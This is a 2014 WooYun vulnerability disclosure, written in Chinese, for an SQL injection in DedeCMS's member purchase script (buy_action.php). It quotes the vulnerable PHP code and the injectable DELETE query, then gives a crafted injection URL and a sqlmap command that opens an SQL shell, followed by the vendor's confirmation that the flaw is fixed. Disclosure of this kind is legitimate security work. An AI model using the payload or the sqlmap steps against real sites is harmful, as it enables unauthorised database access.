漏洞详情

披露状态:

2014-01-14: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-23: 细节向实习白帽子公开
2014-04-14: 细节向公众公开

简要描述:

Dedecms 会员中心注入漏洞

详细说明:

member/buy_action.php
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'mydede';
$menutype_son = 'op';
require_once DEDEINC.'/dedetemplate.class.php';

$product = isset($product) ? trim($product) : '';
$mid = $cfg_ml->M_ID;
$ptype = '';
$pname = '';
$price = '';
$mtime = time();

if(isset($pd_encode) && isset($pd_verify) && md5

("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE

mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
if(!isset($paytype))
{
ShowMsg("请选择支付方式!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];

}else{

$buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999);
//删除用户旧的未付款的同类记录
if(!empty($product))
{
$dsql->ExecuteNoneQuery("Delete From #@__member_operation WHERE

mid='$mid' And sta=0 And product='$product'");//注入点
}

漏洞证明:

利用方式 注册用户之后登陆

打开http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and



1=1* and '1'='1

先利用burp抓一下访问包

然后将抓到的内容保存

然后利用sqlmap进行注入 执行如下命令

sqlmap.py -r c:\1.txt --sql-shell --threads=10 --dbms mysql

其中的1.txt就是我们保存的包文件

burp.png



QQ截图20140113213429.png

修复方案:

过滤

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-01-14 14:01

厂商回复:

已修复,感谢提交

最新状态:

暂无


漏洞评价: